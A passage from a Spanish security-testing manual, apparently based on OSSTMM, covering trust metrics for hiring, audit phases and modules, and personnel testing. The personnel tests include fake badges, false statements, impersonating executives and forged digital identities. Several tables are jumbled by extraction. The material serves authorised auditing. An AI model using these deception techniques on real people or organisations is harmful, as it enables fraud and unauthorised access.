cuando es difícil tomar una decisión de confianza debido a prejuicios personales.
El uso de reglas de confianza en el análisis de seguridad formal, así como la

toma de decisiones regulares, pueden reducir en gran medida el sesgo y los
errores. Por lo tanto, el analista debe practicar esta habilidad para ser capaz de
aplicarla rápidamente para que pueda ser utilizado incluso en situaciones bajo
presión o emergencia, donde una decisión rápida es necesaria y una decisión
equivocada es una tragedia.
Ejemplo de reglas de confianza.
Esta es una muestra de las reglas genéricas de confianza que cualquier

empleado puede tomar mejores decisiones de contratación más allá de la
cualificación técnica del solicitante. Sigue las 10 propiedades de confianza. El
objetivo es hacer preguntas cuantificables que pueden ser respondidas para
cada una de las propiedades y aplicadas por cualquier persona y en cualquier
posible nueva contratación. Las reglas sólidas de la confianza permiten obtener
la consistencia en calidad más bien que confiar en el "instinto del instinto" de los
encargados de la entrada que necesitan tomar las decisiones de la confianza.
Página 319 de 430

1. Tamaño:
1.1. Calcular el solicitante dividido por el grupo total de solicitantes.
1.2. Calcular el número de personas que el solicitante parece saber en el
grupo dividido por el total de solicitantes del grupo total.
1.3. Calcule el número de empleados actuales que el solicitante conoce y
son "amigos" en esta posición y divídelo por el número total de empleados
en esta ubicación.
1.4. Registre el promedio de estos resultados.
2. Simetría:
2.1. El número de personas que el solicitante debe confiar para hacer su
trabajo en esta posición (incluido el solicitante) dividido por el número de
profesionales que deben confiar en el solicitante en este puesto.
3. Visibilidad:
3.1. El número de horas por día el solicitante trabajará solo, sin asistencia,
sin supervisión dividido por el número de horas de trabajo.
4. Subyugación:
4.1. El número de decisiones que el empleado hará diariamente,
independientemente, sin aportaciones, dividido por el número total de
decisiones que la posición normalmente requiere en un día.
4.2. El solicitante dividido por el número de miembros del equipo que el
solicitante trabajará diariamente.
5. Consistencia:
5.1. El número total de meses que el solicitante no ha sido empleado
dividido por el total
Número de meses en que el solicitante ha estado en el mercado laboral y
es elegible para el empleo.
5.2. El número total de delitos conocidos divididos por la edad actual
menos de dieciocho años (o
La edad legal de un adulto en su región) del solicitante.
5.3. El número de referencias neutrales o negativas de empleadores
anteriores dividido por el total número de empleadores anteriores.
6. Integridad:
6.1. El número de entregas que el solicitante debe producir o mostrar
semanalmente dividido por la semana de trabajo.
7. Compensaciones:
7.1. Cantidad de activos por valor que el solicitante tendrá acceso dividido
por un coste estandarizado de procesamiento y costo de recuperación.
8. Valor:
8.1. El ingreso mensual creado o guardado por el solicitante en la posición
dividido por el Coste del solicitante. (No medimos la cantidad pagada por
la posición en comparación con la nacional porque no existe una clara
correlación entre el grado de pago y la satisfacción en el trabajo evitando
que un empleado salga, robe o sabotee el lugar de trabajo.)
9. Componentes:
9.1. El número de procesos que requieren que el solicitante se divida por
el número total de procesos para la posición.
Página 320 de 430

9.2. El número de recursos que el empleado usará mensualmente dividido

por el número total de
Recursos disponibles para todos los empleados en esa posición.
10. Porosidad:
10.1. La cantidad de tiempo semanal que el solicitante pasaría
interactuando directamente con los competidores, Socios o clientes
divididos por el número total de horas semanales de trabajo.
10.2. El número de empleados que viven en la misma comunidad que el
solicitante dividido por el total número de personas en la comunidad.
Cada ejemplo de un cálculo es hacer un porcentaje que será promediado con los
otros porcentajes de todas las propiedades de confianza para crear un valor de
confianza final. El valor final le dirá cuánto debe confiar al nuevo empleado. Las
reevaluaciones se pueden hacer regularmente para ver cuánto ha cambiado y si
esto debe influir en los permisos proporcionados al empleado, la tasa de pago u
otros bonos.
Aplicación de las reglas de confianza a las pruebas de seguridad
Las pruebas de seguridad verificarán qué fideicomisos operativos existen, sin

embargo, se requiere el uso de reglas de confianza para saber si Deberían
existir. Esto se determina con el uso de las reglas de confianza durante las
pruebas de seguridad.
La gestión de la seguridad y la creación de políticas se basa generalmente en el

riesgo que interacciones dentro y en toda una organización. Este método define
esencialmente reglas para usuarios y configuraciones para sistemas que
proporcionarán el nivel de protección requerido cuando se siga. La política
también puede dictar cómo manejar los problemas que pueden ocurrir si las
reglas o configuraciones son insuficientes o no se aplican debidamente.
Por lo tanto, la política de seguridad esbozará lo que la organización determina

como confiable o no y qué administradores operacionales estarán autorizados
para operar bajo esta condición.
Sin embargo, para la confianza establecida por la política de seguridad no es

prueba de seguridad y no ayudará a una organización mejor determinar dónde
está limitada su protección. Las pruebas de seguridad contra una política
particular para asegurar que se sigan las reglas se denominan pruebas de
cumplimiento.
Y no es lo mismo que las pruebas de seguridad. El uso de la auditoría OSSTMM

determinará los administradores operativos, independientemente de que se
reconozcan o no en la política de seguridad. Estos hallazgos sujetos a un análisis
de confianza donde las Reglas de Confianza han sido aplicadas a personas,
sistemas y procesos.
Página 321 de 430

Proporcionar una medición precisa de dónde deben estar los controles. esto
puede compararse con la seguridad, para detectar las deficiencias que afectan
las medidas de protección actuales, así como los planes de seguridad futuros.
En última instancia, el analista utilizaría las métricas de confianza en lugar del
análisis de riesgos, para obtener un medio más preciso de del grado de
protección de un determinado ámbito.
Flujo de trabajo
El flujo OSSTMM comienza con una revisión de la postura del objetivo. La

postura es la cultura, reglas, normas, contratos, legislación y políticas que
definen el objetivo. Finaliza con comparaciones de resultados con cualquier
alarma, alerta, informe o registro de acceso. Este es un concepto de círculo
completo donde el primer paso es estar al tanto de los requisitos operativos para
interactuar con el objetivo y el último paso es revisar los registros de la pista de
auditoría.
Para el Analista, esto es simplemente: usted sabe lo que necesita hacer, lo hace,
y luego verifica lo que ha hecho.
Esta metodología separa lo que hay que hacer en este formato jerárquico:
1 CANAL
2. MÓDULO
3. TAREA
El trabajo se describe en la descripción del módulo para cada auditoría de canal

en particular. Algunas auditorías se aplican a tecnologías que pueden cruzar la
frontera entre dos o más canales. Por ejemplo, las LAN inalámbricas
comúnmente encontradas deben ser probadas tanto en el canal de redes de
datos como en el canal inalámbrico. Esta es la razón por la cual un plan de
pruebas bien definido es tan importante. La hibridación de canales es una
constante y no debe pasarse por alto.
El OSSTMM es completamente capaz de realizar una revisión de seguridad de

"Desde el exterior hacia el núcleo" y por lo tanto es completamente capaz de
aplicar un análisis a un objetivo si sus canales son claramente distintos y están
separados o están compuestos por múltiples canales.
Por lo tanto, para todos los objetivos, el analista debe anticipar la necesidad de
definir una auditoría para incluir múltiples canales. A veces sólo bajo
investigación se hará evidente si el alcance contiene objetivos bajo un canal en
particular o si el analista se perderá objetivos sólo disponibles bajo otros canales.
Esta metodología se aplica a los cinco canales. Tiene 17 módulos y todas las
mismas propiedades se aplican a los cinco canales. Aunque la metodología
misma puede ser la misma, cada canal difiere en las tareas. Cada módulo tiene
una entrada y una salida. La entrada es la información utilizada para realizar
cada tarea. La salida es el resultado de tareas completadas. Esta salida puede
o no ser inteligencia (datos analizados) para servir de entrada para otro módulo
Página 322 de 430

y esta salida puede servir además como entrada para más de un módulo o
sección.
Por lo tanto, el no completar ciertos módulos o tareas puede limitar la finalización

exitosa de otros módulos o tareas. Esto limitaría la exhaustividad de la auditoría
mucho más que una simple explicación de las tareas perdidas. Algunas tareas
no producen salida, lo que significa que existirán módulos para los que no hay
entrada. Módulos que no pueden ser ignorados durante la prueba, pero deben
documentarse posteriormente con una explicación de no haber sido realizados.
Además, las tareas sin salida no necesariamente indican una prueba inferior;
Más bien, pueden indicar una seguridad superior. En detalle, las tareas que no
tienen salida resultante pueden significar cualquiera de las cinco cosas
siguientes:
1. El canal fue obstruido de alguna manera durante el desempeño

de las tareas.
2. Las tareas no fueron realizadas correctamente.
3. Las tareas no eran aplicables.
4. Los datos del resultado de la tarea se han canalizado
incorrectamente.
5. La tarea revela seguridad superior.
Es importante que exista imparcialidad y apertura mental al realizar las tareas de

cada módulo. El principio básico para los estados de auditoría, en relación con
un sesgo conformacional: "Cuando uno busca algo, uno espera encontrarlo, lo
que puede conducir a encontrar sólo lo que está buscando."
En el OSSTMM, cada módulo comienza como una entrada y termina como una
salida exactamente por la razón de mantener el sesgo mínimo. Por lo tanto, cada
tarea da una dirección de lo que debe ser revelado para pasar a otro punto dentro
de la metodología.
Se puede incorporar un análisis de confianza anterior para determinar el alcance

de acuerdo con el vector y el canal. El análisis de confianza también puede
usarse para predeterminar qué módulos necesitan ser ejecutados como
independientes pruebas. Sin embargo, recuerde que los módulos son parte de
una prueba completa y la suposición de que cualquier Módulo se puede omitir
es falso y conducirá a una prueba inadecuada. Si no hay entrada para un módulo
sin embargo, se puede omitir sin degradar la calidad de la prueba. La diferencia
es que, en el en primer caso, el módulo o la tarea se ignora sobre la base de una
decisión de confianza, mientras que en el segundo la prueba en sí dicta que el
módulo o la tarea no se puede realizar.
Con la provisión de pruebas como un servicio, es importante comunicar al dueño

de la meta exactamente qué del alcance no ha sido o no será probado. Esto
maneja expectativas y riesgos potencialmente inapropiados garantías en la
seguridad de un sistema.
Página 323 de 430

El tiempo de prueba con los módulos es relativo al plan. Por ejemplo, si el analista
prueba la seguridad física de una puerta, entonces la prueba tendría al menos
dos vectores: la seguridad funcional de la puerta desde el exterior de la
habitación al interior, y luego desde el interior de la habitación hacia el exterior.
Determinación del alcance adecuado
Basado en el vector es importante porque todavía puede haber objetivos fuera

del vector y todavía dentro el alcance que no constituirá el ámbito de prueba
actual, en general, los ámbitos más grandes con múltiples canales
Y los vectores múltiples requieren más tiempo pasado en cada módulo y sus
tareas. La cantidad de tiempo permitido antes de volver con datos de salida no
está determinada por esta metodología y depende del analista, el objetivo, el
entorno de prueba y el plan de prueba.
Metodología de Flujo
El OSSTMM no permite una separación entre lo que se considera la recolección

activa de datos y Verificación por agitación; porque, en ambos casos, se requiere
interacción. Tampoco diferencia. Entre pruebas activas y pasivas donde la
prueba activa es la agitación para crear una interacción con el objetivo y la
prueba pasiva es la grabación, agregación y análisis de las emanaciones de la
meta. Esta la metodología requiere pruebas tanto activas como pasivas.
Además, el analista puede no ser capaz de diferenciar entre los datos

recopilados pasivamente de las emanaciones de las operaciones y lo que es
respuesta retrasada o mal dirigida a la agitación. La introducción de cualquier
evento externo, incluyendo el evento pasivo tiene el potencial de cambiar la
naturaleza de las operaciones del objetivo y disminuir la calidad de una prueba
no influenciada por la seguridad operativa. Sin embargo, esto no representa un
fracaso del analista o del proceso de auditoría, sino simplemente un mal
inevitable de probar un sistema en un entorno estocástico periodo de tiempo. En
pocas palabras, el analista a menudo no puede "recuperar" la agitación una vez
que se ha puesto en movimiento y cualquier corrección causará resultados
adicionales y variados que no coincidan con el objetivo de la tarea original.
Esto es importante porque dificultará la comparación posterior de los resultados.

También significará que las pruebas influyen en las pruebas posteriores debido
a la "memoria" del impacto de la prueba. Esto es muy notable en las pruebas
sobre:
Página 324 de 430

Capítulo 6 - El canal PHYSSEC.
Es importante señalar que al armonizar el OSSTMM con otros estándares de

prueba, es importante no para restringir el flujo de este Metodología mediante la
introducción de normas tan formales e implacables que calidad de la prueba
sufre.
Memoria de las operaciones
Este es un ejemplo de cómo las pruebas operativas PHYSSEC en un entorno

estocástico sobre un marco de tiempo lineal se ven afectados por su propia
memoria.
Escenario 1
El analista prueba la entrada en un área segura con autenticación falsa. El

guardia examina la insignia brevemente y permite que el Analista entre. El
Analista realiza la auditoría hasta el punto en que se identifica al Analista y se
revela la naturaleza de la auditoría, si es que la identifica.
Escenario 2
El analista prueba la entrada en un área segura con autenticación falsa. El

guardia examina la Insignia brevemente y dudando de su autenticidad, no
permite al Analista entrar. El analista intenta tácticas adicionales hasta que se
gana la entrada. El Analista realiza la auditoría hasta el punto en que el analista
se identifica y la naturaleza de la auditoría se revela, si es que se da.
En ambos escenarios 1 y 2, puede haber o no un registro del intento de entrada.

Si hay un Registro, ese registro puede ser reutilizado por el analista la próxima
vez si la insignia es denegada como prueba de su autenticidad o por el guardia
que puede estar dudando de su autenticidad y quiere ver lo que otros guardias
han hecho.
Para la siguiente auditoría, el analista puede probar la misma insignia de nuevo,

intentar otros medios para ganar entrada a través de técnicas de ingeniería
social, o trate de usar una insignia diferente. Ese guardia, otros guardias con los
que el guardia pudo haber hablado, y cualquier registro de registro de un intento
fallido son todos los recuerdos del Analista, la técnica, y si el guardia sabe de la
auditoría, la auditoría misma.
Sin embargo, si se produce el escenario 2, es posible que las interacciones

técnicas adicionales utilizadas por el analista significan que el escenario 2 es una
prueba más pruebas se realizan dentro de la misma interacción. También
significa que la auditoría y el analista será más probable que sea recordado por
el guardia.
Si el analista no obtiene entrada en absoluto, entonces la completitud de la

prueba está limitada en cuanto a cuándo el analista se quedó sin técnicas, con
cada técnica fallida haciendo la entrada que mucho más difícil. Si el analista pasa
Página 325 de 430

por todas las técnicas descritas por tareas en la metodología, entonces las
pruebas se han completado. Si no es así, entonces las pruebas aún no
realizadas deben ser guardia diferente con diferentes resultados como diferentes
personas se comportan de manera diferente.
Si bien esto puede parecer un problema humano, no lo es. Una puerta o una
ventana se abren con demasiada frecuencia permanecerá dañado hasta que sea
reemplazado. El uso físico siempre da como resultado un deterioro físico. Incluso
en las comunicaciones por cable, el acto de fisgonear el tráfico causará retrasos
(a veces perceptible) o cambiar el consumo de energía, ya sea directa o indirecta
ya menudo variada resultados.
Módulos de Prueba
Para elegir el tipo de prueba adecuado, es mejor entender primero cómo se

diseñan los módulos para trabajar. Dependiendo de la minuciosidad, los
negocios, la asignación de tiempo y los requisitos de la auditoría, el Analista
puede desea programar los detalles de la auditoría por fases:
Hay cuatro fases en la ejecución de esta metodología:

A. Fase de inducción.
B. Fase de Interacción.
C. Fase de la investigación.
D. Fase de intervención.
Cada fase presta una profundidad diferente a la auditoría, pero ninguna fase es
menos importante que otra en términos de Seguridad Actual.
A. Fase de inducción.
Cada viaje comienza con una dirección. En la fase de inducción, el Analista

comienza la auditoría con un entendimiento de los requisitos de auditoría, el
alcance y las restricciones a la auditoría de este ámbito. A menudo, el tipo de
prueba se determina mejor después de esta fase.
Modulo Descripción Explicación

Conozca el alcance y las pruebas que
Revisar Políticas, Cultura que deben realizarse. Requerido si la Fase
Revisión
están vigente sobre el objetivo C debe ser conducida
apropiadamente.
La medición de las
restricciones de interacción
tales como distancia, Conocer las limitaciones de la propia
Logística velocidad, y la falibilidad para auditoría. Esto minimizará el error y
determinar los márgenes de mejorará eficiencia.
precisión dentro de los
resultados.
La verificación de la práctica y Conozca las restricciones impuestas
amplitud de la detección de la en las pruebas interactivas. Esto es
Detección Activa
interacción, la respuesta y la necesario para llevar a cabo
predictibilidad de la respuesta. correctamente las fases B y D.
Página 326 de 430

B. Fase de Interacción
El núcleo de la prueba de seguridad básica requiere conocer el alcance en

relación con las interacciones con las metas transmitidas a las interacciones con
los activos. Esta fase definirá el alcance.

Saber qué objetivos existen y
cómo interactúan con el alcance,
La determinación de los objetivos a si es que lo hacen.
ensayar dentro del ámbito de aplicación. El blanco muerto o desaparecido
Visibilidad La visibilidad se considera como es también un objetivo que no
"presencia" y no se limita a la vista responde. Sin embargo, un
humana. blanco que no responde no es
necesariamente un objetivo que
falta.
El punto de acceso es el punto
principal de cualquier interacción
de activos. La verificación de un
La medición de la amplitud y
Verificación punto de acceso es una parte de
profundidad de los puntos de acceso
de Acceso determinar su propósito. La
interactivos dentro de la autenticación
verificación completa requiere
saber todo lo que hay que saber
sobre el punto de acceso.
Los administradores para nuevos
La determinación de las relaciones de procesos suelen ser muy limitados
confianza entre los objetivos y entre cuando hay relaciones complejas
Verificación
ellos. Existe una relación de confianza entre los objetivos El conocimiento
Prueba
donde el objetivo acepta la interacción de las relaciones de confianza
entre objetivos en el ámbito. entre los objetivos mostrará la
edad o el valor de la interacción.
La mayoría de los procesos se
definen en respuesta a una
La medición del uso y la efectividad de
interacción necesaria y algunos
los controles de pérdida basados en
permanecen mucho tiempo
Verificación procesos (Clase B): no repudio,
después de que la interacción se
del Control confidencialidad, privacidad e
detiene o ha cambiado. Saber qué
integridad. El control de alarma se
controles de procesos están en su
verifica al final de la metodología.
lugar es un tipo de arqueología de
seguridad.
Página 327 de 430

C. Fase de la investigación
Gran parte de la auditoría de seguridad es sobre la información que el analista

descubre. En esta fase, se ponen de manifiesto los diversos tipos de valor o el
detrimento de la información errónea y mal gestionada como un activo.

Conozca los controladores y
sus rutinas. La mayoría de
los procesos tienen un
La determinación de la existencia y
conjunto definido de reglas,
efectividad del registro y
sin embargo, las operaciones
mantenimiento de los niveles reales
Proceso de reales reflejan cualquier
de seguridad existentes o diligencia
Verificación eficiencia, pereza o paranoia
definida por los controles de
que puede redefinir las
revisión de postura e
reglas. Es importante no sólo
indemnización.
conocer que el proceso está
ahí sino también cómo
funciona.
Este módulo explora el valor
predeterminado condiciones
en las que los objetivos.
La investigación del estado
Operar regularmente para
estacionario (Funcionamiento
comprender intención,
normal) de los objetivos como
Verificación de la justificación del negocio y
han sido diseñados para operar.
Configuración y Razonamiento de los
En condiciones normales para
entrenamiento objetivos. Muchos
determinar problemas subyacentes
reglamentos requieren
fuera de la aplicación de pruebas
información sobre cómo se
de tensión de seguridad.
planea algo al trabajar esto
no siempre es evidente
En la ejecución de esa obra.
La medición de la amplitud y
Conocimiento de la
uso indebido de sustancias ilegales
propiedad intelectual,
o no caso particular Farmacia Y
Validación patentes, marcas, y otros
Sanidad aplicaciones y uso
propiedades modos de uso contemplado
contemplados por ley.
o estipulados por ley o
Propiedad intelectual o
contratos.
aplicaciones dentro del objetivo.
Conocer los derechos de
privacidad que se aplican y
Una determinación de los niveles en qué medida a la
Revisión Segregación de información de identificación Información personal
personal. identificable puede
clasificarse en base a
requisitos. REGPD
Búsqueda de información
libremente disponible que define la Descubrir valor de los
Verificación
visibilidad de los objetivos o activos objetivos incluyendo el uso
Exposición
dentro del canal elegido del de fuentes o datos públicos.
alcance.
La búsqueda de información Puede haber más valor en
libremente disponible, directa o las medidas que se utilizan
indirectamente, que para proteger ciertos activos,
Exploración Inteligente podrían perjudicar o afectar que el valor del activo en si
adversamente al dueño del objetivo mismo. Podría utilizarse
a través de medios externos o como señuelo para desviar la
competidores directos. atención de atacantes.
Página 328 de 430

D. Fase de intervención
Estas pruebas se centran en los recursos que los objetivos requieren. Esos
recursos pueden cambiarse, combinarse sobrecargarse o morirse de hambre
para causar penetración o interrupción. Esta es a menudo la fase final de una
prueba de seguridad para asegurar que las interrupciones no afectan a las
respuestas de las pruebas menos invasivas y porque la información para realizar
estas pruebas puede no ser conocida hasta que se hayan realizado otras fases.
El final Módulo, D.17, de Alerta y Revisión de Logs, es necesario para verificar

las pruebas previas que no proporcionaron ninguna interactividad al analista. La
mayoría de las pruebas de seguridad que no incluyen esta fase todavía pueden
necesitar una revisión final desde la perspectiva de los objetivos y activos para
aclarar cualquier anomalía.

Determine la eficacia de los
La determinación y medición del uso controles de autenticación y
Cuarentena de
efectivo de la cuarentena para todo subyugación en términos de
Verificación
acceso y dentro del objetivo. cuarentenas de listas en
blanco y negro.
Determinar la efectividad de
El mapeo y la medición del impacto
la autorización en los
del uso indebido de controles de
Auditoria de controles de autenticación,
subyugación, credenciales y
Privilegios indemnización y subyugación
privilegios o la escalada no
en términos de profundidad y
autorizada de privilegios.
roles.
Determinar la efectividad de
La determinación y medición de la
los controles de continuidad
resiliencia del objetivo a cambios
Continuidad del y resiliencia a través de la
excesivos o adversos en los que se
Servicio verificación de denegación
verían afectados los controles de
de servicio y negación de
continuidad y resiliencia.
interactividad.
Una revisión de las actividades de
auditoría realizadas con la verdadera
Sepa qué partes de la
Alerta y Supervisión profundidad de esas actividades
auditoría dejaron un rastro
de Logs según lo registrado por el objetivo o
utilizable y confiable.
de un tercero como en el control de
alarma.
Página 329 de 430

Una Metodología
Poner todos los módulos juntos proporciona una metodología para conocer y
trabajar. Esta es una metodología que es aplicable a todos y cada uno de los
tipos de pruebas de seguridad. Ya sea que el objetivo sea un sistema particular,
una ubicación, una persona, un proceso o miles de ellos, esta metodología
asegurará la prueba más completa y eficiente posible.
Página 330 de 430

Capítulo 7 - Recursos Humanos.
La prueba de este canal requiere la interacción con las personas en las

posiciones propietarios, custodios o usuarios de los activos. Este canal cubre la
participación de las personas, principalmente el personal operativo dentro del
alcance objetivo. Si bien algunos servicios consideran esto simplemente como
"ingeniería social", el verdadero cumplimiento del objetivo de las pruebas es el
validar la seguridad y verificar que tan eficaces son las pruebas de sensibilización
del personal de seguridad y la medición de la brecha de seguridad en caso de
que esta ocurra.
El estándar de seguridad requerido y descrito en la política de la compañía,

regulaciones industriales o legislación regional, se requerirá que el Analista
tenga múltiples herramientas y métodos para completar algunas tareas para
asegurar sus sospechas que se plantea entre el personal y para que las pruebas
no sean inválidas debido a un descubrimiento temprano o se considere que
estamos ante una percepción tipo paranoia aumentada. También puede ser
pertinente limitar los sujetos de prueba a uno por departamento u otro tipo de
límite.
Página 331 de 430

Los Analistas Competentes requerirán habilidades de personas diligentes y

habilidades de pensamiento crítico, para asegurar los datos actuales cuyo fin es
crear colecciones de datos que permitan definir relaciones de correlación y
análisis.
Consideraciones:
Tenga en cuenta las siguientes consideraciones para asegurar una prueba

fiable:
a. Personal: Las restricciones de alcance se dirigen a aquellos
trabajadores, que están bajo contrato, el responsable del área de
aplicación tiene la responsabilidad legal, derivada de su relación
contractual.
b. Negligencia plausible: No se llevarán a cabo pruebas directas de

seguridad para el personal que no hayan sido entrenados,
informados, o se puede decir que ya poseían experiencia y
sensibilización relativa a seguridad, debido a los requisitos de
responsabilidad laboral.
c. Derechos: El personal seleccionado para la prueba serán elegidos

al azar, se dice que tienen responsabilidades relacionadas
directamente con la custodia, de activos, el analista se abstendrá
de identificarlo informando únicamente sobre una base estadística.
d. En régimen de incomunicación: El personal sometido a prueba no

podrá comentar, con los no participantes de su área ninguna
información relativa a lo que ocurra, mientras se desarrollan las
mismas.
7.1 Revisión de Postura
Los estudios iniciales de la postura incluyen las leyes, la ética, las políticas, las
regulaciones de la industria y la cultura política que influyen en los requisitos de
seguridad y privacidad. Esta revisión forma una matriz a la cual las pruebas
deben ser mapeadas.
7.1.1 Política
Revisar y documentar la política organizacional apropiada en cuanto a
seguridad, integridad y privacidad. .Responsabilidades del personal en el
ámbito de aplicación.
7.1.2 Legislación y reglamentos
Revisar y documentar la legislación regional y nacional apropiada y las
regulaciones de la industria.
Página 332 de 430

Requisitos de seguridad y privacidad de la organización en el ámbito de

aplicación, así como que si se incluyen a los clientes apropiados, socios,
sucursales de la organización, o revendedores fuera del alcance.
7.1.3 Cultura
Revisar y documentar la cultura organizacional apropiada en el ámbito de
la seguridad y la sensibilización, sobre la privacidad, capacitación del
personal requerido y disponible, jerarquía organizacional y reconocimiento
de la interacción de confianza, entre los empleados.
7.1.4 Relaciones
Revisar y documentar las relaciones de influencia apropiadas, entre el
personal de la jerarquía organizacional, dentro del ámbito de aplicación.
7.1.5 Cultura regional
Revisar y documentar la influencia apropiada de las culturas regionales y
extranjeras, en la jerarquía en el entorno en el que reside el ámbito.
7.1.6 Economía
Revisar y documentar la influencia apropiada de la economía y la escala
salarial sobre el estatus. Personal tanto del vector de personal, dentro del
alcance, como de la comunidad externa que reside el ámbito.
7.2 Logística
Preparación del entorno de prueba, de los canales necesarios para prevenir

falsos positivos y falsos negativos, que puedan conducir a resultados de prueba
inexactos.
7.2.1 Equipo de comunicaciones

Compruebe que las comunicaciones que proporcionan identificación al
receptor, como identificador de llamadas, FAX, IP, etc.
El registro de direcciones, los distintivos de localización y los encabezados
de correo electrónico. Compruebe si la identificación fue bloqueada,
removida u transfigurada y hasta qué grado se preserva el anonimato.
7.2.2 Comunicaciones
Comprobar qué idiomas, se utilizan dentro del ámbito de aplicación, entre
el ámbito de aplicación y los clientes, socios y revendedores fuera del
ámbito.
Página 333 de 430

7.2.3 Tiempo
Prueba para el huso horario, las vacaciones y los horarios de trabajo para
varios roles y trabajos.
7.3 Verificación de detección.
La determinación de los controles activos y pasivos para detectar la intrusión en

el filtro o negar los intentos de realizados antes de la prueba, para mitigar el
riesgo de crear falsos positivos y negativos, en los datos del resultado de la
prueba. Así como el cambio del estado de alarma del personal de vigilancia o
agentes.
7.3.1 Supervisión del canal

Compruebe si el servicio de asistencia o los canales de soporte son el
teléfono, la mensajería instantánea, el chat, la web, los foros o el correo
electrónico, son supervisados por un tercero para el control de calidad.
7.3.2 Moderación del canal

Compruebe si el servicio de asistencia o los canales de soporte son el
teléfono, la mensajería instantánea, el chat, la web los foros o el correo
electrónico, son filtrados o puestos en cuarentena por personal o sistema
automatizado para verificar para verificar la autenticidad, extraer datos
extraños, ignorar solicitudes repetidas o interacciones moderadas.
7.3.3 Supervisión
Comprobar si el personal de soporte puede responder a las solicitudes
sin la confirmación de un supervisor o personal similar.
7.3.4 Asistencia al operador

Probar qué acceso a qué personal a través del canal de
telecomunicaciones debe hacerse a través de un operador, ya sea este
vía personal o automatizado.
Página 334 de 430

7.4 Auditoría de Visibilidad
Ensayos de enumeración y verificación para la visibilidad del personal, con los

que es posible la interacción vía canales.
7.4.1 Identificación de acceso

Prueba de canales que proporcionan interacciones con personal fuera
del alcance y documento.
Todos los métodos utilizados y los resultados de dichos métodos.
7.4.2 Enumeración de personal

Enumere el número de personal dentro del ámbito de aplicación, tanto
con personal autorizado como no autorizado.
Acceso a los procesos.
7.5 Verificación de acceso
Pruebas para la enumeración de puntos de acceso, al personal dentro del

alcance. Y también fuera del alcance, se trata de un escenario real utilizado, para
verificar el robo de propiedad de información, esto puede ser se limitado para
limitar el alcance con el fin de proteger los derechos de privacidad
independientes del personal en su vida.
7.5.1 Proceso de Acceso

Mapa para explorar el uso de los canales en el alcance para llegar a los
activos. Documentar todos los métodos utilizados
Y los resultados de esos métodos.
7.5.2 Autoridad
Usar personal en posiciones de autoridad, vinculados con el control de
acceso o que mantengan posiciones de guardián en los activos dentro del
alcance. Documentar los métodos utilizados en el descubrimiento del
personal clave.
7.5.3 Autenticación
Enumerar y probar las insuficiencias del personal y qué privilegios se
requieren para poder: acceder una vez identificados y acreditados los
sujetos, que verificaran el control de accesos. Verificar la existencia y
aplicación del procedimiento de emergencia para este tipo de situaciones.
Página 335 de 430

7.6 Pruebas de Verificación.
Pruebas para verificar que sólo las personas autorizadas dentro de su área
tienen acceso a los recursos físicos y lógicos que están definidos por las normas
de seguridad.
7.6.1 Declaración Falsa. Emitir una declaración falsa y comprobar que

personal accede y que información se le facilita utilizando dicha
declaración falsa. Documentar los hechos ocurridos y sobre todo verificar
el uso de procedimientos, para descubrir falsa identidades, antes de
facilitar ninguna clase de información relevante.
7.6.2 Fraude. Acceder a la instalación mediante la falsificación o

duplicidad de identidad de algún miembro importante y relevante de
cúpula de la organización. Documentar los hechos y verificar el uso para
descubrir identidad falsas o duplicadas ante de que acceda a activos
físicos o lógicos relevantes para la organización.
7.6.3 Falsificación Digital de Identidad. Utilizando una identidad digital

falsa, comprobar hasta qué punto el atacante accede a recursos fiscos o
lógicos, antes de que su identidad sea detectada como falsa y en
consecuencia bloqueado el acceso a todo tipo de recursos. Documentar
en profundidad incluyendo todos los procesos de trazabilidad inversa para
obtener el origen del acceso e identidad sustraída y duplicada.
7.6.4 Abuso de recursos. Ver como un atacante escala privilegios

accediendo a diversos tipos de recursos físicos y lógicos eludiendo los
mecanismos del SO. De Red y de los Sistemas Operativos Locales.
7.6.5 Terrorismo psicológico y otras formas de incitación al caos.

Documentar como se ha de actuar, ante personas y organizaciones que
incitan al vandalismo y todas sus manifestaciones derivadas y como se
informará a las autoridades en demanda de auxilio.
Página 336 de 430

7.7 Controles y Verificación sobre valores de los activos.

Pruebas para enumerar los tipos de controles utilizados para proteger el valor de
los activos de posibles pérdidas (depreciaciones).
7.7.1 No repudio.
Enumerar y probar las insuficiencias del personal para registrar
adecuadamente el uso inadecuado de los recursos de cualquier clase o
tipo. Activos específicos para lograr evidencia específica mediante desafío
al repudio. Documente en profundidad de la interacción que se registra.
7.7.2 Confidencialidad.
Enumerar y probar el uso o las deficiencias de todos los segmentos de
comunicación con el personal dentro del alcance o sobre un canal o
propiedades transportadas sobre un canal, usando líneas seguras,
incluyendo cifrado para evitar interacciones personales y proteger la
confidencialidad de los Activos o de la Información que debe ser solo
accesible por el personal autorizado y acreditado a tal fin o propósito.
Documente en profundidad de la interacción que se registra.
7.7.3 Privacidad.
Enumerar y probar el uso la inadecuación de todos los segmentos de
comunicación con el personal dentro del alcance específico sobre un
canal de comunicaciones o propiedades transportadas usando firmas
individuales específicas, identificación personal, silenciosa para proteger
la privacidad de la interacción y del proceso de proporcionar activos, sólo
a aquellos dentro de la seguridad autorizada para este proceso de
información o sobre activos físicos. Documente en profundidad de la
interacción que se registra.
7.7.4 Integridad.
Enumerar y probar las insuficiencias en todos los segmentos de la
comunicación con el personal dentro del alcance especifico donde los
activos se transportan a través de un canal de comunicaciones utilizando
un proceso documentado, firmas, encriptación, Hashes o marcas para
Página 337 de 430

proteger y asegurar que la información o los activos físicos. Eso incluye

los cambios de sentido de las comunicaciones, las redirecciones, sin
conocimientos de las partes involucradas en las comunicaciones.
Documente en profundidad de la interacción que se registra.
7.8 Verificación del proceso.
Pruebas para examinar el mantenimiento de la conciencia de seguridad funcional

del personal en procesos establecidos y con el tiempo de respuesta esperado
como se define en revisión de la postura.
7.8.1 Mantenimiento.
Examinar y documentar la oportunidad, la idoneidad, el acceso y el
alcance de los procesos para la notificación y seguridad de todo el
personal con respecto a la seguridad operativa, la Seguridad en general y
control de pérdidas.
7.8.2 Desinformación.
Determinar hasta qué punto las notificaciones de seguridad del personal
y las noticias de seguridad, pueden ser alteradas con desinformación.
7.8.3 Auditoria Previa.

Verificar cualquier laguna entre la práctica y los requisitos como se
determina en la posición de partida. Revise todos los canales.
7.8.4 Indemnización.
Documentar y enumerar el abuso o la existencia de una política evasiva
de los empleados, respecto a la responsabilidad frente a seguros, no
divulgación, no competencia, etc.
Página 338 de 430

7.9 Verificación de Entrenamiento.
Pruebas para examinar la capacidad de eludir o interrumpir la educación y la

formación sobre concienciación sobre seguridad funcional.
7.9.1 Planificación educativa.

